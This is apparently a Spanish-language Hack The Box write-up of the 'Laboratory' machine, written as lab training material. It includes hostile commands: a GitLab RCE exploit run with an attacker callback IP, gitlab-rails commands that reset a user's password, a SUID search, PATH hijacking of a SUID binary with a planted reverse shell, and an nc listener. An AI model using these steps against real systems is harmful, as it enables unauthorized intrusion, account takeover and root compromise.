Laboratory
https://www.hackthebox.eu/home/machines/profile/298
Máquina Linux con un servidor apache instalado, contiene un gitlab instalado sobre docker, el cual es vulnerable, se aprovecha cierta vulnerabilidad para realizar ejecución de código remoto para ganar acceso al sistema.
Enumeración
Lo primero es realizar un escaneo con nmap para saber los puertos abiertos y revisar las versiones de los servicios.
Añadimos al archivo /etc/hosts los vhosts encontrados, durante el escaneo de nmap.
Luego, busqué algún directorio interesante usando gobuster,
Intente buscar dentro de los directorios encontrados con gobuster, pero no encontré nada útil.
Punto de acceso
Después, entre al dominio de git encontrado en el escaneo de nmap. Una vez ahí intente registrarme con un usuario y me dio acceso. Una vez ahí dentro, utilice la herramienta burpsuite, para interceptar los paquetes enviados a la página. No encontré mucho pero note algo especial sobre una cookie utilizada en los paquetes GET enviados desde la página. Por último, revise la versión del gitlab en la página de /help. En este caso la versión del gitlab es la 12.8.1.
Después, busque exploits utilizables para la versión 12.8.1 de gitlab. Lo que llegue a encontrar fue un exploit utilizando la cookie que encontramos utilizando el burpsuite.
Ejecute el comando "python gitlab_rce.py https://git.laboratory.htb:443/ 10.10.14.24", pero no funcionó. Checando más de fondo el código y el error que devuelve, razone que el código necesitaba loggearse a la página para poder obtener la versión del gitlab para poder funcionar. Entre a editar el código con nano y edité los parámetros para usuario y contraseña.
El exploit pide escoger un para la versión de gitlab indicada y pidió abrir ponernos en escucha en el puerto dinicado. La shell no es interactiva y por lo tanto no se puede visualizar resultados, intentamos abrir una pseudo consola con python3 -c “import pty;pyt.spawn(‘/bin/bash’)” pero no fue posible, ni con ruby: exec “/bin/sh”, entre otras formas.
La siguiente instruccion en python permite realizar una reverse shell en desde una sola línea con python, previamente debemos de ponernos en escucha para aceptar la conexión.
Una vez dentro de la máquina, podemos notar que entramos como el usuario git. Trate de buscar dentro de directorios y los archivos accesibles para ver cuál podría servir para realizar una escalada de privilegios. Probé buscar tareas programadas, utilizar el comando "grep" con palabras clave como 'password' y 'email'. También probé enviar un ejecutable llamado LinPEAS, el cual enumera todos los posibles vectores de ataque dentro del sistema. También tratamos de enviar a la máquina una llave generada de ssh propia para poder entrar a través de ssh a la máquina. Logre enviar el archivo con la llave privada, más sin embargo no me permitió acceder a la máquina con ssh. No encontré mucho, pero encontré varios archivos relacionados a gitlab-rails. También, cuando empecé a investigar en la página web principal, se mencionaba a un tal “Dexter” como CEO de la empresa ficticia. Buscando en internet logré encontrar el siguiente enlace:
El enlace nos describe cómo podemos iniciar una consola de gitlab-rails para interactuar con gitlab de la siguiente manera:
gitlab-rails console
user = User.where(id: 1).first
user.password = 'secret_pass'
user.password_confirmation = 'secret_pass'
user.save!
Una vez ejecutados estos comandos, lo que logré hacer fue cambiar la contraseña del usuario externo de la aplicación web de gitlab. Paso seguido, nos dirigimos a la página de gitlab a ingresar con ese usuario,
Dentro del proyecto Secure Docker se encuentra una llave privada del usuario dexter, la cual nos proporciona acceso al servidor.
Para ganar acceso es simple.
Copiamos la llave y guardamos un archivo llamado id_rsa.
Otorgamos permisos 600 al archivo id_rsa.
E indicamos la llama para iniciar con el parámetro -i.
Con esto realizado, tenemos acceso a la máquina a través del usuario dexter. Sin embargo, este usuario no tiene permisos root. Lo único que podemos visualizar es la carpeta de home, con un .txt dentro el cual contenía el flag de user.
Escalada de privilegios
Lo siguiente que hice fue probar maneras de realizar una escalada de privilegios. Intente con el ya mencionado LinPEAS para checar vectores de ataque. No encontré algo útil. Después recordé que dentro del gitlab del usuario dexter, contenía un .txt el cual mencionaba algo sobre un docker-composer. Paso seguido utilice el comando “find” para buscar cualquier archivo que contenga la palabra docker. No encontre algo util. De ahí, pasé a buscar archivos propietarios de root, pero que el usuario dexter tiene permisos de lectura usando el comando “find / -perm -u=s -type f 2>/dev/null” y encontré un archivo llamado docker-security con el path /usr/local/bin/docker-security.
Visualice el archivo con el comando “cat” y note que utiliza el comando de chmod de manera relativa. Es posible modificar el PATH para que el binario sea ejecutado desde otra ruta.
Con esto tenemos indicios para realizar un path hijacking.
Podemos ver que el binario docker-security tiene permisos SUID, este es un permiso especial que permite que el programa, cuando es ejecutado por cualquier usuario, se ejecute con el UID del propietario, en este caso, root.
Entonces, me dirigí al directorio de tmp/ y dentro cree un archivo llamado “chmod” simulando el comando dentro del binario “docker-security”, y dentro de este archivo agregue una reverse shell con nano. Luego con “chmod +x” le otorgue permiso de ejecución al archivo. Una vez hecho esto, ubicado en el directorio donde cree el archivo, el cual es /tmp/, ejecute el comando “export PATH=$(pwd):$PATH”, el cual modifica el PATH asignando al directorio el cual estoy situado como prioridad 1 dentro de la variable PATH.
Finalmente, abro una terminal para ejecutar un “nc -vlnp [puerto]”, utilizando el puerto designado dentro de la reverse shell que colocamos dentro del archivo “chmod”.
Visualizando la flag de root.
Last updated